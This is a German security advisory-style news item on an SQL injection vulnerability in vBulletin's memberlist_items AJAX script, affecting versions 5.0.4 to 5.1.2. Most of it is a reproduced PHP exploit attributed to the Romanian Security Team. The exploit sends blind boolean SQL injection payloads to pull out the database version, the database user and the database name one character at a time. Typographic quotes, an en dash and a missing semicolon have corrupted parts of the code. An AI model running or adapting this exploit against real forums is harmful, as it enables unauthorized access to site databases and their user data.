Eine <a href=”http://www.securitytracker.com/id/1030647″>Sicherheitslücke</a>
in der vBulletin-Applikation hat zur Folge, dass ein entfernter Angreifer
SQL-Injection-Attacken gegen die zugrundeliegende Datenbank ausführen kann.
Ursache ist ein Programmierfehler in dem ajax/render/memberlist_items-Skript.
Dieses verarbeitet bestimmte Benutzereingaben nicht korrekt. Dadurch ist ein
Angreifer in der Lage SQL-Befehle unberechtigt auf der Datenbank auszuführen.
Für diese Sicherheitslücke wurde auch ein in PHP geschriebener Exploit
veröffentlicht:
<?php
/*
    Author: Nytro
    Powered by: Romanian Security Team
    Price: Free. Educational.
*/
 
error_reporting(E_ALL);
ini_set(‘display_errors’, 1);
 
// Get arguments
 
$target_url = isset($argv[1]) ? $argv[1] : ‘https://rstforums.com/v5’;
$expression = str_replace(‘/’, ‘\\/’, $target_url);
 
// Function to send a POST request
 
function httpPost($url,$params)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
     
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        ‘User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0’,
        ‘Accept: application/json, text/javascript, */*; q=0.01’,
        ‘X-Requested-With: XMLHttpRequest’,
        ‘Referer: https://rstforums.com/v5/memberlist’,
        ‘Accept-Language: en-US,en;q=0.5’,
        ‘Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;’
     ));
 
 
    $output = curl_exec($ch);
     
    if($output == FALSE) print htmlspecialchars(curl_error($ch));
 
    curl_close($ch);
    return $output;
}
 
// Function to get string between two other strings
 
function get_string_between($string, $start, $end)
{
    $string = ” “.$string;
    $ini = strpos($string,$start);
    if ($ini == 0) return “”;
    $ini += strlen($start);
    $len = strpos($string,$end,$ini) – $ini;
    return substr($string,$ini,$len);
}
 
// Get version
 
print “\r\nRomanian Security Team – vBulltin 5.1.2 SQL Injection\r\n\r\n”;
print “Version: “;
 
$result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
        ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(version(),1  ,1)–+”+’ .
        ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
 
$letter = 1;
 
while(strpos($result, ‘No Users Matched Your Query’) == false)
{
    $exploded = explode(‘<span class=\”h-left\”>\r\n\t\t\t\t\t\t\t\t\t<a href=\”‘ . $expression . ‘\/member\/’, $result);
 
    $username = get_string_between($exploded[1], ‘”>’, ‘<\/a>’);
    print $username[0];
     
    $letter++;
    $result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
            ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(version(  ),’ . $letter . ‘,1)–+”+’ .
            ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
}
 
 
// Get user
 
print “\r\nUser: “;
 
$result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
        ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1  ,1)–+”+’ .
        ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
 
$letter = 1;
 
while(strpos($result, ‘No Users Matched Your Query’) == false)
{
    $exploded = explode(‘<span class=\”h-left\”>\r\n\t\t\t\t\t\t\t\t\t<a href=\”‘ . $expression . ‘\/member\/’, $result);
    $username = get_string_between($exploded[1], ‘”>’, ‘<\/a>’);
    print $username[0];
    $letter++;
    $result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
            ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),’ . $letter . ‘,1)–+”+’ .
            ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
}
 
// Get database
print “\r\nDatabse: ”
 
$result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
        ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  1,1)–+”+’ .
        ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
$letter = 1;
while(strpos($result, ‘No Users Matched Your Query’) == false)
{
    $exploded = explode(‘<span class=\”h-left\”>\r\n\t\t\t\t\t\t\t\t\t<a href=\”‘ . $expression . ‘\/member\/’, $result);
 
    $username = get_string_between($exploded[1], ‘”>’, ‘<\/a>’);
    print $username[0];
 
    $letter++;
    $result = httpPost($target_url . ‘/ajax/render/memberlist_items’,
            ‘criteria[perpage]=10&criteria[startswith]=”+OR+SUBSTR(user.username,1,1)=SUBSTR(database(),  ‘ . $letter . ‘,1)–+”+’ .
            ‘&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest’);
}
 
 
print “\r\n”
 
?>

Betroffen von diesem Fehler sind die Versionen 5.0.4, 5.0.5, 5.1.0, 5.1.1 und 5.1.2.